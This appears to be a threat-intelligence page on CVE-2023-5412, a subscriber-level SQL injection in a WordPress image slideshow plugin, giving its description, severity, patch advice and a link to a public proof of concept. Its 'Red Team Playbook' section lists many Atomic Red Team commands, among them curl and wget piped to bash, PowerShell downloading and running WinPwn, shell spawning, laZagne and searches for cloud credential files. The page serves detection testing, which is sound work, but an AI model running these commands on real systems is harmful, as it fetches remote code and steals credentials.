CVE-2023-5412
Overview
This vulnerability is a SQL Injection affecting the gopiplus Image horizontal reel scroll slideshow WordPress plugin. The root cause lies in insufficient escaping and lack of proper preparation of SQL queries within the plugin's shortcode handler. Specifically, user-supplied parameters passed through the shortcode are directly concatenated into SQL statements without adequate sanitization, impacting versions up to and including 13.2.
Vulnerability Description
The Image horizontal reel scroll slideshow plugin for WordPress is vulnerable to SQL Injection via the plugin's shortcode in versions up to, and including, 13.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers with subscriber-level and above permissions to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
Impact
An attacker with subscriber-level or higher privileges can exploit this flaw to execute arbitrary SQL queries within the WordPress database context. This enables unauthorized extraction of sensitive information, including potentially all stored data accessible to the plugin's database user. Exploitation requires authentication but no user interaction beyond shortcode submission. The vulnerability has a high impact on confidentiality, integrity, and availability, as reflected in the CVSS vector (AV:N/AC:L/PR:L/UI:N/C:H/I:H/A:H).
Solution
Upgrade the gopiplus Image horizontal reel scroll slideshow plugin to version 13.3 or later, where the vulnerability has been addressed. The official Wordfence advisory (https://www.wordfence.com/threat-intel/vulnerabilities/id/08fb698f-c87c-4200-85fe-3fe72745633e) provides detailed patch information. Users should replace affected plugin files with updated versions that implement proper SQL query parameterization and input sanitization to mitigate the issue.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the Image Horizontal Reel Scroll Slideshow plugin for WordPress stems from a failure to adequately sanitize user inputs, particularly in the context of SQL queries. This issue arises from insufficient escaping of parameters supplied through the plugin's shortcode, which allows for the injection of arbitrary SQL code into existing queries. The lack of proper preparation in the SQL statements means that an attacker can manipulate the database queries executed by the application. As a result, authenticated users with subscriber-level permissions or higher can exploit this flaw to append malicious SQL commands, potentially leading to unauthorized data access or modification.
Exploitation of this vulnerability can occur through various attack vectors, primarily targeting the plugin's shortcode functionality. An attacker could craft a specially formatted request that includes SQL code embedded within the parameters passed to the shortcode. Once this request is executed, the injected SQL commands can manipulate the database, allowing the attacker to retrieve sensitive information such as user credentials, personal data, or even administrative details. Given that the vulnerability is accessible to users with minimal permissions, it poses a significant risk, especially in environments where multiple users have access to the WordPress dashboard.
The real-world impact of this vulnerability can be severe, particularly for organizations that rely on the affected plugin for their website functionality. Successful exploitation could lead to data breaches, resulting in the exposure of sensitive customer information and potentially damaging the organization's reputation. Furthermore, the financial implications of a data breach can be substantial, encompassing costs related to incident response, legal liabilities, and regulatory fines. Businesses may also face loss of customer trust, which can have long-term effects on customer retention and brand loyalty.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted approach. Regularly updating plugins to the latest versions is crucial, as developers often release patches to address known vulnerabilities. Additionally, employing web application firewalls (WAFs) can help filter out malicious requests before they reach the application layer. Conducting routine security audits and vulnerability assessments can also aid in identifying and remediating potential weaknesses in the system. Finally, educating users about secure coding practices and the importance of input validation can further reduce the risk of SQL injection attacks.
In conclusion, the vulnerability in the Image Horizontal Reel Scroll Slideshow plugin represents a significant threat to WordPress installations. Its ability to allow authenticated users to execute arbitrary SQL commands highlights the critical need for robust security practices in web application development. By understanding the technical details, potential attack vectors, and real-world implications, organizations can better prepare to defend against such vulnerabilities and protect their sensitive data from unauthorized access.
The recent revision of CVE-2023-5412’s CVSS score from 6.5 to 8.8 reflects a reassessment of the vulnerability’s impact and exploitability, underscoring a heightened risk to affected WordPress environments. CSURFACE threat intelligence confirms that this adjustment aligns with the availability of a new proof-of-concept exploit targeting authenticated users with subscriber-level access, which significantly lowers the barrier for exploitation. Our telemetry indicates stable but persistent interest in this vulnerability, with no rapid escalation in exploitation attempts; however, the increased severity rating signals that successful exploitation could lead to substantial data exposure and compromise of site integrity. For defenders, this change emphasizes the urgency of prioritizing patch management and monitoring for exploitation attempts, as the vulnerability’s elevated risk profile now places it among high-severity SQL injection flaws that can be weaponized by attackers with limited privileges. Consequently, the threat level associated with CVE-2023-5412 has escalated, warranting enhanced vigilance despite the absence of a surge in active exploitation campaigns.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Gopiplus | Image Horizontal Reel Scroll Slideshow | All |
cpe:2.3:a:gopiplus:image_horizontal_reel_scroll_slideshow:*:*:*:*:*:wordpress:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
RandomRobbieBF/CVE-2023-5412
Image horizontal reel scroll slideshow <= 13.2 - Authenticated (Subscriber+) SQL Injection via Shortcode
|
RandomRobbieBF | 5 | 1 | 2023-10-31 | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-5412 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/08fb698f-c87c-4200-85fe-3fe72745633e?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/image-horizontal-reel-scroll-slideshow/trunk/image-horizontal-reel-scroll-slideshow.php?rev=2827121#L176 |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/changeset/2985331/image-horizontal-reel-scroll-slideshow#file1 |